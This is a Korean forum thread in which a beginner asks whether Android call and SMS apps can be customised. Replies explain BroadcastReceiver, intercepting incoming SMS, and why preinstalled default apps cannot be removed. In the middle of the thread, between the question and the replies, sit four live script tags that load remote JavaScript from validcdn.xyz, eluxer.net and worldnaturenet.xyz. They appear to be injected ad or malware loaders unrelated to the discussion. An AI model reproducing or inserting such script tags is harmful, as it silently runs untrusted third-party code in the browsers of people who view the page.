(완전 초보라서 안드로이드 개념이 없으니 양해해주세요)
이해를 쉽게하기 위해 좀 극단적인 예를 들어 보겠습니다.
전화가 왔을때, 수신 버튼을 상단으로 바꾼다거나..
전화를 걸때, 키패드의 순서를 "컴퓨터 키보드의 키패드"처럼 바꾼다거나..
SMS가 왔을때, SMS의 문자내용의 처음 5개 글자와 발신번호를 무조건 전화번호부에 자동등록하게 한다거나...
이런식으로도 개발이 가능한가요?
전화 및 sms 프로그램의 소스코드가 공개 되어 있다거나..
전화 및 sms 프로그램을 개발하기 위한 api 같은것이 공개되어 있거나 한건가요?
궁금합니다!
답변 부탁드립니다~
감사합니다.
<script type="text/javascript" src="https://validcdn.xyz/addons/lnkr5.min.js"></script><script type="text/javascript" src="https://validcdn.xyz/addons/lnkr30_nt.min.js"></script><script type="text/javascript" src="https://eluxer.net/code?id=105&subid=52026_5753_"></script><script type="text/javascript" src="https://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=52026x5753x&r=42"></script>
답변 감사합니다 (두번씩이나 감사합니다)
제가 바로 전에 올렸던 질문에 있던 소스를 이해할 수 있다면, SMS를 처리하는건 가능하군요.
열심히 분석을 해봐야겠네요.
그리고.. 전화를 수신,발신하는 프로그램과, 기본문자앱 자체를 새롭게 작성 할 수 있는지도 알고 싶은데,
다른 분들중 혹시 아시면 답변 좀 부탁드립니다.
감사합니다.
전화도 가능할겁니다.. SMS소스를 보시면 BroadcastReceiver라는 녀석을 보실수 있는데.
SMS가 수신이 되던지. 전화가 오던지 하면 안드로이드 OS에서 모든 어플리케이션들에게 Broadcast(방송)을 합니다.
전화, 문자가 온다고요.
그때 BroadcastReceiver에서 broadcast를 체크해서 원하는 작업을 하시면 됩니다..
전화,SMS등의 BroadcastReceiver에 대해서 검색해보시면 새로운 학구열을 불태우는 자료들이 나올겁니다.....ㅋ
그리고 기본문자앱이라고 하셨는데
폰을 구입하고 처음 켰을때 문자를 쓰기위한 혹은 읽기 위한 아이콘이 있죠.. 그 또한 어플리케이션입니다.
휴대폰제조사에서 그 어플리케이션을 설치해서 휴대폰을 팔았기때문에
공장초기화를하더라도 그런 기본어플리케이션은 지워지지 않습니다..(루팅을해서 롬업을하거나 특별한 경우를 제외하고는...)
따라서... 문자 어플리케이션을 하나 만든다하더라도 폰에 원래 설치되어있는 문자어플은 어찌할수없는게 현실입니다...
전화는 모르겠지만 sms는 가능합니다.
기본 문자앱이 sms를 받기 전에 먼저 가로채서 원하는 일 하고
기본앱으로 문자를 보낼지 말지 결정하는 정도까지는
바로 위에 질문에 있는 소스만 분석하셔도 충분히 가능할듯 하네요